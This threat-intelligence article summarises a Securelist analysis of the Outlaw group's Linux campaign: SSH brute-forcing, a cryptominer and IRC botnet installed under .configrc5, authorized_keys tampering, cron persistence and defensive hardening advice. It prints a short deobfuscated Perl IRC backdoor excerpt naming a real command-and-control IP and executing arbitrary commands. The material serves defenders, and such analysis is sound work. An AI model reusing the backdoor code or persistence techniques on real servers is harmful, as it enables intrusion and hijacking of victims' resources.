Outlaw Cybercrime Group Reemerges with Advanced Linux Attack Campaign
A threat actor long tracked under the alias “Outlaw” (also referred to as “Dota”) has launched a new wave of global attacks on Linux servers, according to fresh analysis from Securelist’s incident response team. This latest operation showcases significant upgrades to the group’s malicious toolset and a sharpened focus on stealthy resource exploitation.
Active since at least 2018, Outlaw has pivoted toward crypto-mining operations and botnet expansion, breaching targets across regions including Brazil, the U.S., Germany, Italy, and Southeast Asia. Their preferred entry point remains unchanged: brute-force attacks on SSH services that rely on weak or default credentials.
Once access is gained, the attackers deploy a layered infection process beginning with a malicious shell script (tddwrt7s.sh). This script pulls down and extracts a compressed package (dota.tar.gz) that installs a concealed directory (.configrc5). Within this hidden folder, several components work in tandem: a customized XMRig miner, an obfuscated Perl-based IRC botnet client, and modules for persistence and remote control.
Key infection elements include:
- Initial breach through SSH login using common or weak passwords, often targeting accounts with names like “suporte”
- Execution of a script chain that installs resource-hijacking payloads
- Deployment of UPX-packed binaries such as
kswapd0to carry out illicit crypto mining while masking communications through Tor
The .configrc5 directory also organizes modules into subfolders for execution, persistence, and proxy routing, enabling long-term control and evasion.
What distinguishes this campaign is not just the tools, but the tactics: Outlaw’s infrastructure aggressively removes other miners from infected machines, ensuring full utilization of CPU and memory for its own gain. Layered obfuscation, anti-forensic cleanup, and persistent IRC-based communication show a mature, evolving threat model tailored to maximize profit and minimize detection.
Dissecting the .configrc5 Malware Directory: Tools of Persistence and Control
(Source: Securelist)
A key component of the malware toolkit is the .configrc5 directory, which houses several scripts designed to enforce persistence, eliminate competition, and maintain covert control.
Among these, the a/init0 script plays a critical reconnaissance role. It scans the system for rival cryptominers—such as tsm, rsync, and blitz—and forcefully terminates them using pattern-matching (grep) and kill commands (kill -9). This ensures that the infected host’s resources are dedicated entirely to the Outlaw miner.
To guarantee long-term access, the attackers tamper with the system’s SSH configuration. Specifically, they overwrite the victim’s .ssh/authorized_keys file with their own public key, allowing for passwordless re-entry regardless of any future credential changes. Additionally, they implant cron jobs to automatically re-trigger the malware in case of interruption or reboot.
The b/run script contains a concealed backdoor encoded in Base64. Once decoded, it reveals a Perl-based IRC client disguised under the alias rsync. This covert client connects to command-and-control infrastructure over port 443—a tactic often used to blend in with legitimate HTTPS traffic. Once linked, it enables the threat actor to execute remote commands, launch DDoS attacks, and pivot to other systems via SSH.
Excerpt from Deobfuscated Perl IRC Client:
$server = “45.9.148.99”;
$port = 443;
$nick = “mdrfckr_” . int(rand(10000));
sub execute_command {
system($_[0]);
}
This snippet highlights the script’s flexibility in executing arbitrary commands issued from the attacker’s C2 server, illustrating the persistent and dangerous nature of this botnet component.
Malware Evolution and Defensive Recommendations
(Source: Securelist)
Recent analysis by Securelist underscores the evolving sophistication of Outlaw’s Perl-based malware. The latest variants showcase adaptive capabilities, including integration with Tor-based mining pools and self-preservation techniques like process whitelisting—ensuring that only unauthorized services are disrupted, not the malware’s own components.
Though XMRig remains configured primarily for CPU-based mining, the framework’s modular design hints at future scalability—potentially accommodating GPU mining or other forms of resource exploitation as attack requirements evolve.
Outlaw’s strategy blends brute-force SSH intrusions, complex multi-stage payloads, and a layered approach to obfuscation, reinforcing its reputation as a long-term threat to Linux systems lacking hardened defenses.
To reduce exposure, defenders should prioritize:
- SSH security hardening – Disable password-based authentication in favor of key-based methods.
- Firewall controls – Apply rate limiting to thwart brute-force attempts.
- File integrity monitoring – Track unauthorized changes to
.sshdirectories andauthorized_keysfiles.
Securelist also recommends the deployment of tools like Fail2Ban and carefully configured sshd_config parameters to proactively block repeated access attempts—crippling Outlaw’s favored attack vector before initial compromise.
